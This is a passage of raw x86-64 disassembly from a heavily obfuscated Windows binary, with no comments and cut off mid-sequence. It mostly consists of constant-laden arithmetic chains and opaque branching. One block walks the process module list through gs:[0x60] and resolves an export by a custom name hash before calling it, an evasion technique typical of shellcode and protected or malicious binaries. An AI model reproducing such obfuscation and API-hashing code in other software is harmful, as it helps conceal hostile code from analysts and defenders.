xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x87d654ca0ff48078
add rcx, rax
mov rdi, qword [0x14035f040]
add rcx, rdi
movabs rax, 0x5a9179b63bacab8f
xor rcx, rax
movabs rax, 0x5f627ddfa9dc760a
sub rcx, rax
movabs rax, 0x523b3cd8714216a2
xor rcx, rax
movabs rdx, 0xb483ce50912fb6bb
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94aa782e51a
mov r10, qword [0x14035f038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b5587d1ae5
mov r11, qword [0x14035f030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d5cd2006a6f
add rdx, rax
add rdx, rcx
movabs rax, 0x647145d7f10d9442
xor rdx, rax
mov qword [rbp + 0x100], rdx
movabs rcx, 0xf33a52b5efa08f03
add rcx, qword [rbp + 0xf8]
movabs rax, 0xb4553662530981a5
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0xedf047f593470ac
sub rcx, rax
movabs rax, 0xf8f8cd988a3b8871
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x47d654b9b1ba1ecd
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179a87aad56e9
xor rcx, rax
movabs rax, 0x5f627dc6d637237c
sub rcx, rax
movabs rax, 0x663b3cd2696e30ab
xor rcx, rax
movabs rax, 0x3483ce44d6b12949
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94ad7be8090
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b528417f6f
xor r11, rax
movabs rax, 0xe0b56d8d5dd7bbe5
add rcx, rax
add rcx, r11
movabs rax, 0x70b919c031f12e70
xor rcx, rax
mov qword [rbp + 0xf8], rcx
and rcx, rdx
xor eax, eax
cmp dword [rsp + 0x70], r13d
setge al
xor r13d, r13d
mov qword [rbp + 0x100], r13
mov qword [rbp + 0xf8], r13
cmp rax, rcx
jne 0x14029798e
mov ebx, r13d
mov edi, 0x59c00e8a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1402977f1
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x1045a9a
jmp 0x1402977e3
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, 0x31
xor ecx, 0x4764996c
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x1402977c3
cmp r9d, ebx
jne 0x1402978f4
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1402978f4
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x1402978f4
mov r12d, dword [r11 + 0x20]
dec esi
lea rdx, [r12 + rsi*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov r14d, 0x1045a9a
jmp 0x140297857
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, 0x31
xor edx, 0x4764996c
xor r8d, r14d
mov r14d, edx
imul r14d, r8d
mov dl, byte [r10]
inc r10
test dl, dl
jne 0x140297839
cmp r14d, edi
je 0x14029786f
test esi, esi
jne 0x140297824
jmp 0x1402978f4
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + rsi*2]
mov r8d, dword [rdx + rax*4]
add r8, r9
cmp r8, r11
jbe 0x1402978fc
lea rax, [r11 + rcx]
cmp r8, rax
jae 0x1402978fc
mov ebx, 0x1045a9a
mov edi, ebx
jmp 0x1402978b9
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, ebx
mov ebx, eax
imul ebx, ecx
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x14029789f
jmp 0x1402978d9
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, edi
mov edi, eax
imul edi, ecx
inc r8
mov al, byte [r8]
test al, al
jne 0x1402978c2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140297797
mov rcx, qword [rbp - 0x70]
call r8
mov dword [rbp + 0x20], r13d
mov dword [rbp + 0x20], 0xd4277293
mov eax, dword [rbp + 0x20]
add eax, 0xe1e4c334
xor eax, 0x588973e9
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x26f4c2b8
xor eax, 0x982e4370
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x845e89f4
add eax, ecx
xor eax, 0x8a578b62
add eax, 0x2700f2b8
xor eax, 0x444c8472
lea edx, [rcx + 0x640cd284]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd7879160
sub edx, eax
mov eax, dword [0x14035f030]
xor eax, 0x28786e9f
add eax, 0x26af64f9
add eax, edx
xor eax, 0x42aa8aa0
mov dword [rbp + 0x20], eax
mov dword [rbp + 0x20], r13d
jmp 0x14029a0af
movabs rsi, 0x83accd4820a57219
movabs rax, 0xa41340c330000000
movabs r14, 0x66517f3bcc49322b
mov rbx, qword [0x14035f078]
imul rbx, rax
movabs rax, 0xcd1632d630000000
xor rbx, rax
mov r13, rbx
imul r13, rsi
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r8, rbx
and r8, rsi
lea r11, [0x14035f060]
imul r8, qword [r11 + rcx*8]
movabs rax, 0xc8bdbe535e346fd8
imul r8, rax
shr r8, 3
movabs rax, 0xa4f836bd1da4e15a
xor r8, rax
movabs rax, 0xffffff57c50f5c4f
mov rdi, rbx
imul rdi, rax
sub rdi, 0x3c4a2478
xor rdi, r8
xor rdi, qword [0x14035f060]
mov rax, r8
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bccbce36e
imul rax, rcx
not rax
and rdi, rax
ror rdi, 6
shr rdi, 8
movabs r12, 0x7c5332b7df5a8de7
lea rcx, [rbx + r12]
xor rcx, 0xfffffffff232e863
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xf77ef1497f3f9e10
mov r10, qword [r11 + rcx*8]
imul r10, rax
sub r10, r12
movabs rcx, 0x2d61a96904d030cc
mov rax, r8
imul rax, rcx
xor r10, rax
shr r10, 0x1f
not r10
mov r15, r10
xor r15, rbx
lea rcx, [r10 + r12]
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
movzx ecx, byte [r11 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x7f
mov eax, 0x8000003f
and ecx, eax
jge 0x140297aff
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul rdx, r15, 0xffffffffc3b5db88
mov qword [rbp + 0x558], rdx
lea r11, [rdx + r12]
mov r9, r10
imul r9, rdi
sub r9, r11
xor r9, r14
movzx r12d, r11b
mov ecx, r12d
and ecx, 0xf
and ecx, eax
jge 0x140297b3d
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r9, cl
movabs rax, 0xbba16b08972d0048
imul r15, rax
movabs rax, 0x418dff8287144671
sub r15, rax
xor r9, r15
mov rax, r11
sub rax, qword [0x14035f078]
xor r9, rax
xor r9, r8
xor r9, rbx
mov rax, r9
and eax, 1
je 0x140297eca
sub rax, 1
je 0x140297d88
sub rax, 1
je 0x140297c93
cmp rax, 1
jne 0x140297f7e
mov r14, r11
imul r14, r10
movabs rax, 0xf1c236dbad6c5849
add rax, r9
xor r14, rax
ror r14, 0x3c
shr r14, 0xc
xor r14, rbx
not r14
movabs rcx, 0x83572e4ded6c
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x7cd1b7cfba0c4009
xor rdx, rax
movzx eax, r14b
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db976ad0197
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rsi
mov eax, 0xa776d37d
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0x6eed18d6281fa71e
sub rsi, r14
shr rsi, cl
movabs rax, 0x7c5b5740354d3199
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r12 + rcx*8]
imul rax, r9
sub rax, rdi
xor rsi, rax
jmp 0x140297f7e
movabs rax, 0xaaaaaa1aa76f2e43
mov rcx, r9
xor rcx, rax
movabs rax, 0x1206ed6562f20f
imul rcx, rax
movabs r10, 0xfff17ca8700d183f
mov rax, r8
xor rax, r10
sub rcx, rax
movabs rax, 0xffff7e8a817f1c9f
imul rdx, rax
movabs r10, 0x8cbdbb1feedb8318
add r10, rcx
add r10, rdx
movabs rax, 0x277cd7be75bff923
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r11, r10
not r11
lea rax, [0x14035f060]
imul r11, qword [rax + rcx*8]
xor r11, 0xfffffffff23af893
lea ecx, [r9 + 1]
and cl, 0x3f
rol r11, cl
movabs rax, 0x472598280000000
xor r13, rax
movabs rax, 0x7c7a7dc69b3df222
and r13, rax
imul r11, r13
mov rcx, r11
ror rcx, 0x35
not rcx
movabs rax, 0x9b2de6b2e94dec10
imul rcx, rax
mov rax, r10
sub rax, r11
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140297f7e
movabs rax, 0x1c51e7a677b85dab
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x7c5332b7df5a8de6
mov rax, rbx
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
and r12d, 0x8000003f
jge 0x140297de2
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r8, cl
movabs rcx, 0x7c5332b7df5a8de7
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xd4820a57219
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7fbab586e
or r8, rax
mov rsi, qword [0x14035f070]
imul rsi, r14
sub rsi, r11
mov rax, rdi
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6aaa35863
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r9
imul rdx, r11
imul rdx, rsi
shr rdx, cl
mov rax, r10
sub rax, rdx
sub rax, rbx
movabs rbx, 0x789589465f11479
add rbx, rax
xor rbx, rdi
mov al, r10b
add al, al
lea ecx, [rax + r10]
add cl, cl
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140297f7e
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r9
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r11
not rdi
imul rdi, r10
movabs rax, 0x7cd8a7de77520982
imul rdi, rax
mov rax, r8
imul rax, rbx
mov rbx, rdi
xor rbx, rax
imul rdi, qword [0x14035f060], 0xffffffffc3b5db88
mov rdx, qword [0x14035f068]
sub rdi, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140297f67
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0x7c5332b7df5a8de7
add rdi, rax
add rdi, qword [rbp + 0x558]
movabs rax, 0xff055d7b8719034f
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, rbx
lea rax, [0x14035f060]
imul r8, qword [rax + r14*8]
not r11
imul r11, r9
imul r11, rdi
imul r11, rsi
movabs rcx, 0xf5ed7e8780aa4993
xor rcx, r10
not rcx
xor rcx, r11
sub rcx, r8
call fcn.14028fcdc
mov qword [0x14036d9a8], rax
and dword [rbp + 0x24], 0
mov dword [rbp + 0x24], 0x556879f1
mov eax, dword [rbp + 0x24]
add eax, 0xee4b99b4
xor eax, 0x2f098050
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x593071cb
xor eax, 0x8b95d196
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xb388f1c9
add eax, ecx
xor eax, 0x7c323eb8
add eax, 0x29ed5f1a
xor eax, 0x8a18b5fb
lea edx, [rcx - 0x2803341e]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd7b92cba
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x2846d345
add ecx, 0x587e5ad3
add ecx, edx
xor ecx, 0xfa25c22
mov dword [rbp + 0x24], ecx
and dword [rbp + 0x24], 0
movabs rsi, 0x89278b0366d5ce7e
movabs rdi, 0x42e9cd0394fa0a11
movabs rax, 0xe000000000000000
mov rbx, qword [0x14035f070]
imul rbx, rax
movabs rax, 0x3000000000000000
xor rbx, rax
mov r13, rbx
imul r13, rdi
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r8, rbx
and r8, rdi
lea rax, [0x14035f060]
imul r8, qword [rax + rcx*8]
movabs rax, 0xe414e655c4b0dbe8
imul r8, rax
shr r8, 3
movabs rax, 0xa216ab857414e8b8
xor r8, rax
movabs rax, 0xffffff57c4e29f7f
mov r14, rbx
imul r14, rax
add r14, 0x313a90c
xor r14, r8
xor r14, qword [0x14035f060]
mov rax, r8
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bcd51205e
imul rax, rcx
not rax
and r14, rax
ror r14, 0x3e
shr r14, 8
movabs r12, 0xbd1632fc6b05f5ef
lea rcx, [rbx + r12]
xor rcx, 0xfffffffff3df2b53
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xc25e7d993e3bd3d8
lea r9, [0x14035f060]
mov r11, qword [r9 + rcx*8]
imul r11, rax
add r11, rdi
movabs rcx, 0xdd7adb92b53e8978
mov rax, r8
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov r15, r11
xor r15, rbx
lea rcx, [r11 + r12]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [r9 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x4f
mov eax, 0x8000003f
and ecx, eax
jge 0x1402981e7
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul rdx, r15, 0x313a90c
mov qword [rbp + 0x558], rdx
lea r9, [rdx + r12]
mov r10, r11
imul r10, r14
sub r10, r9
xor r10, rsi
movzx r12d, r9b
mov ecx, r12d
and ecx, 0xf
and ecx, eax
jge 0x140298225
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
mov rax, r9
sub rax, qword [0x14035f078]
xor r10, rax
movabs rax, 0xbd4ff630fea0b1cc
imul r15, rax
movabs rax, 0x5f9f864151995521
sub r15, rax
xor r10, r15
xor r10, r8
xor r10, rbx
mov rax, r10
and eax, 1
je 0x1402985b1
sub rax, 1
je 0x140298470
sub rax, 1
je 0x14029837b
cmp rax, 1
jne 0x140298665
mov rsi, r9
imul rsi, r11
movabs rax, 0xc2313e0345447091
add rax, r10
xor rsi, rax
ror rsi, 4
shr rsi, 0xc
xor rsi, rbx
not rsi
movabs rcx, 0x83572fa02e5c
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0xbd94b7840fbefb31
xor rdx, rax
movzx eax, r10b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97740c2a7
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rdi
mov eax, 0xa69b104d
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rdi, 0xc91cf51281012746
sub rdi, rsi
shr rdi, cl
movabs rax, 0xbd1e5784bf255671
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r12 + rcx*8]
imul rax, r10
sub rax, r14
xor rdi, rax
jmp 0x140298665
movabs rax, 0xaaaaaa1aa682ed73
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed648f313f
imul rcx, rax
movabs r9, 0xfff17ca871e0db0f
mov rax, r8
xor rax, r9
sub rcx, rax
movabs rax, 0xffff7e8a8092dfaf
imul rdx, rax
movabs r11, 0x8c6173859d2f2f10
add r11, rcx
add r11, rdx
movabs rax, 0x277cd7be74523a13
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
not r9
lea rax, [0x14035f060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffff3d73ba3
lea ecx, [r10 - 0xf]
and cl, 0x3f
rol r9, cl
movabs rax, 0x1020440000000000
xor r13, rax
movabs rax, 0x7c7a7dc69ad03112
and r13, rax
imul r9, r13
mov rcx, r9
ror rcx, 0x10
not rcx
movabs rax, 0x9b2de6b2eefae0d0
imul rcx, rax
mov rax, r11
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x140298665
movabs rax, 0x421d5805e8957c27
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0xbd1632fc6b05f5ee
mov rax, rbx
imul rax, rdx
xor rax, rsi
not rax
shl rax, cl
xor r8, rax
and r12d, 0x8000003f
jge 0x1402984ca
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r8, cl
movabs rcx, 0xbd1632fc6b05f5ef
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xd0394fa0a11
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7fa469b5e
or r8, rax
mov rdi, qword [0x14035f070]
imul rdi, rsi
sub rdi, r9
mov rax, r14
sub rax, r8
xor rdi, rax
movabs rax, 0xc7a7c6a6ab4e9b53
xor rdi, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rdi
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, r9
imul rdx, rdi
shr rdx, cl
mov rax, r11
sub rax, rdx
sub rax, rbx
movabs rbx, 0x7895894641cd749
add rbx, rax
xor rbx, r14
movzx eax, r11b
imul ecx, eax, 0xf6
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140298665
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r10
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r9
not r14
imul r14, r11
movabs rax, 0x7cd8a7de76bfcab2
imul r14, rax
mov rax, r8
imul rax, rbx
mov rbx, r14
xor rbx, rax
imul r14, qword [0x14035f060], 0x313a90c
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x14029864e
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0xbd1632fc6b05f5ef
add r14, rax
add r14, qword [rbp + 0x558]
movabs rax, 0xff055d7b86f4c07f
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r8, rbx
lea rax, [0x14035f060]
imul r8, qword [rax + rsi*8]
not r9
imul r9, r10
imul r9, r14
imul r9, rdi
movabs rcx, 0xf5ed7e8781478aa3
xor rcx, r11
not rcx
xor rcx, r9
sub rcx, r8
call fcn.14028fcb8
mov qword [0x14036d9a0], rax
mov r8, qword [rbp - 0x70]
mov r9d, dword [r8 + 0x18]
mov dword [rsp + 0x70], r9d
xor r10d, r10d
mov dword [rbp + 0x28], r10d
mov dword [rbp + 0x28], 0x4c7ded5f
mov eax, dword [rbp + 0x28]
add eax, 0xead2bbb4
xor eax, 0x51097cd7
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x59260731
xor eax, 0x8f1c930e
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xb83f8322
add eax, ecx
xor eax, 0x80281bf0
add eax, 0x288024f2
xor eax, 0x7bd540c2
lea edx, [rcx - 0x24a2a430]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd7ab4942
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x2854b6bd
add ecx, 0x4a8d3edb
add ecx, edx
xor ecx, 0x593201ba
mov dword [rbp + 0x28], ecx
mov dword [rbp + 0x28], r10d
cmp r9d, ecx
ja 0x1402987fa
mov dword [rbp + 0x2c], r10d
mov dword [rbp + 0x2c], 0xebe5500b
mov eax, dword [rbp + 0x2c]
add eax, 0xbbcdd35
xor eax, 0x72899dc1
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x26773a6a
xor eax, 0x6daec907
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x4b91b2a7
add eax, ecx
xor eax, 0x5a9d0db9
add eax, 0x36be6491
xor eax, 0x5f5f28b0
lea edx, [rcx + 0x3b59a139]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd82ef1c8
sub edx, eax
mov eax, dword [0x14035f030]
xor eax, 0x27d10e37
add eax, 0xceb96d62
add eax, edx
xor eax, 0xdf96e1f8
mov dword [rbp + 0x2c], eax
mov dword [rbp + 0x2c], r10d
jmp 0x14029a0af
mov eax, dword [r8 + 0xc]
mov dword [rbp + 0x558], eax
mov r8d, dword [r8 + 0x10]
mov dword [rsp + 0x68], r8d
mov dword [rbp + 0x30], r10d
mov dword [rbp + 0x30], 0x3c34edc4
mov eax, dword [rbp + 0x30]
add eax, 0xf81c5cb6
xor eax, 0xf20b8a20
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5f4de414
xor eax, 0x799dcb88
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x6f361113
add eax, ecx
xor eax, 0x2900204a
add eax, 0x7414aea7
xor eax, 0x6d2005f4
mov edx, dword [0x14035f030]
xor edx, 0x201f9039
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdfe06fc6
sub edx, eax
sub edx, ecx
sub edx, 0x744a1ccf
xor edx, 0x60d24316
mov dword [rbp + 0x30], edx
mov dword [rbp + 0x30], r10d
cmp r8d, edx
ja 0x14029891c
mov dword [rbp + 0x34], r10d
mov dword [rbp + 0x34], 0x3ba29e8f
mov eax, dword [rbp + 0x34]
add eax, 0xf67f3e36
xor eax, 0xd38b8883
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x20b6f347
xor eax, 0x7b415e82
sub eax, dword [0x14035f048]
mov rdx, qword [0x14035f040]
add eax, 0x3166d7fa
add eax, edx
xor eax, 0x2ad75714
add eax, 0x73a1f34d
xor eax, 0x61eea21d
mov ecx, dword [0x14035f030]
xor ecx, 0x202604b3
sub ecx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdfd9fb4c
sub ecx, eax
sub ecx, edx
lea eax, [rcx + 0x3a96a0d]
xor eax, 0xba9fe624
mov dword [rbp + 0x34], eax
mov dword [rbp + 0x34], r10d
jmp 0x14029a0af
movabs rsi, 0x9d5a49e5431bc041
movabs rax, 0x44a6f4392a02e000
movabs r14, 0x249fe56dd578f4ae
mov r11, qword [0x14035f080]
imul r11, rax
movabs rax, 0x8a9dcc0be746f000
xor r11, rax
mov r12, r11
imul r12, rsi
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul r12
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r12
sub rcx, rax
mov r8, r11
and r8, rsi
lea rdi, [0x14035f060]
imul r8, qword [rdi + rcx*8]
movabs rax, 0x86fdd078fbd2e068
imul r8, rax
shr r8, 3
movabs rax, 0xc85c7017e34c99df
xor r8, rax
movabs rax, 0xffffff57d4d20543
mov rbx, r11
imul rbx, rax
sub rbx, 0xc7c6714
xor rbx, r8
xor rbx, qword [0x14035f060]
mov rax, r8
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bdd61ba62
imul rax, rcx
not rax
and rbx, rax
ror rbx, 0x12
shr rbx, 8
movabs r13, 0x62a5b61abce43fbf
lea rcx, [r11 + r13]
xor rcx, 0xffffffffe3efb16f
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x493d98a47b1cf948
mov r10, qword [rdi + rcx*8]
imul r10, rax
sub r10, r13
movabs rcx, 0x611129bd0e4a80b8
mov rax, r8
imul rax, rcx
xor r10, rax
shr r10, 0x1f
not r10
mov r15, r10
xor r15, r11
lea rcx, [r10 + r13]
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
movzx ecx, byte [rdi + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x73
and ecx, 0x8000003f
jge 0x140298a8b
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul r13, r15, 0xfffffffff38398ec
movabs rdi, 0x62a5b61abce43fbf
add rdi, r13
mov r9, r10
imul r9, rbx
sub r9, rdi
xor r9, r14
mov cl, dil
xor cl, 0xfc
and cl, 0xf
rol r9, cl
mov rax, rdi
sub rax, qword [0x14035f078]
xor r9, rax
movabs rax, 0xd7052da26bfed3ec
imul r15, rax
movabs rax, 0x23697011dbe86f7f
add r15, rax
xor r9, r15
xor r9, r8
xor r9, r11
mov rax, r9
and eax, 1
je 0x140298e35
sub rax, 1
je 0x140298d02
sub rax, 1
je 0x140298c0e
cmp rax, 1
jne 0x140298ee6
mov r14, rdi
imul r14, r10
movabs rax, 0x699c5f06367d3fd
add rax, r9
xor r14, rax
ror r14, 0x28
shr r14, 0xc
xor r14, r11
not r14
movabs rcx, 0x83573f90b468
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x62273362c86fab5d
xor rdx, rax
movzx eax, r9b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db96770589b
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rsi
mov eax, 0xb6ab8a71
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0x2134c13df9a86eee
sub rsi, r14
shr rsi, cl
movabs rcx, 0x62addaa301143a7d
add rcx, r13
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
